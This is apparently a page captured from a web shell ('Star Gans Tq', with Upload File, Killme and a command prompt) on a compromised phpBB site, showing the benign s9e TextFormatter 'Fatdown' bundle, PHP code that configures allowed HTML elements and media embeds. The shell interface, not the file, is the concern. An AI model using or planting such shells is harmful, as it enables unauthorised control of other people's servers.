.=< { Star Gans Tq } >=.

  • Home

  • Killme
  • Download
  • Current Path : /home/m/e/h/meharicl/www/phpBB3/vendor/s9e/text-formatter/src/Configurator/Bundles/
    Upload File
    @Command ~ $  
    Current File : /home/m/e/h/meharicl/www/phpBB3/vendor/s9e/text-formatter/src/Configurator/Bundles/Fatdown.php

    <?php
    
    /**
    * @package   s9e\TextFormatter
    * @copyright Copyright (c) 2010-2020 The s9e authors
    * @license   http://www.opensource.org/licenses/mit-license.php The MIT License
    */
    namespace s9e\TextFormatter\Configurator\Bundles;
    
    use s9e\TextFormatter\Configurator;
    use s9e\TextFormatter\Configurator\Bundle;
    
    class Fatdown extends Bundle
    {
    	/**
    	* {@inheritdoc}
    	*/
    	public function configure(Configurator $configurator)
    	{
    		$configurator->urlConfig->allowScheme('ftp');
    		$configurator->urlConfig->allowScheme('mailto');
    
    		$configurator->Litedown->decodeHtmlEntities = true;
    		$configurator->Autoemail;
    		$configurator->Autolink;
    		$configurator->Escaper;
    		$configurator->FancyPants;
    		$configurator->HTMLComments;
    		$configurator->HTMLEntities;
    		$configurator->PipeTables;
    		$configurator->TaskLists;
    
    		$htmlAliases = [
    			'a'      => ['URL', 'href' => 'url'],
    			'hr'     => 'HR',
    			'em'     => 'EM',
    			's'      => 'S',
    			'strong' => 'STRONG',
    			'sup'    => 'SUP'
    		];
    		foreach ($htmlAliases as $elName => $alias)
    		{
    			if (is_array($alias))
    			{
    				$configurator->HTMLElements->aliasElement($elName, $alias[0]);
    				unset($alias[0]);
    
    				foreach ($alias as $attrName => $alias)
    				{
    					$configurator->HTMLElements->aliasAttribute($elName, $attrName, $alias);
    				}
    			}
    			else
    			{
    				$configurator->HTMLElements->aliasElement($elName, $alias);
    			}
    		}
    
    		$htmlElements = [
    			'abbr' => ['title'],
    			'b',
    			'br',
    			'code',
    			'dd',
    			'del',
    			'div' => ['class'],
    			'dl',
    			'dt',
    			'i',
    			'img' => ['alt', 'height', 'src', 'title', 'width'],
    			'ins',
    			'li',
    			'ol',
    			'pre',
    			'rb',
    			'rp',
    			'rt',
    			'rtc',
    			'ruby',
    			'span' => ['class'],
    			'strong',
    			'sub',
    			'sup',
    			'table',
    			'tbody',
    			'td' => ['colspan', 'rowspan'],
    			'tfoot',
    			'th' => ['colspan', 'rowspan', 'scope'],
    			'thead',
    			'tr',
    			'u',
    			'ul'
    		];
    		foreach ($htmlElements as $k => $v)
    		{
    			if (is_numeric($k))
    			{
    				$elName    = $v;
    				$attrNames = [];
    			}
    			else
    			{
    				$elName    = $k;
    				$attrNames = $v;
    			}
    
    			$configurator->HTMLElements->allowElement($elName);
    			foreach ($attrNames as $attrName)
    			{
    				$configurator->HTMLElements->allowAttribute($elName, $attrName);
    			}
    		}
    
    		$configurator->tags['html:dd']->rules->createParagraphs(false);
    		$configurator->tags['html:dt']->rules->createParagraphs(false);
    		$configurator->tags['html:td']->rules->createParagraphs(false);
    		$configurator->tags['html:th']->rules->createParagraphs(false);
    
    		$configurator->plugins->load('MediaEmbed', ['createMediaBBCode' => false]);
    		$sites = [
    			'bandcamp',
    			'dailymotion',
    			'facebook',
    			'liveleak',
    			'soundcloud',
    			'spotify',
    			'twitch',
    			'vimeo',
    			'vine',
    			'youtube'
    		];
    		foreach ($sites as $site)
    		{
    			$configurator->MediaEmbed->add($site);
    		}
    	}
    }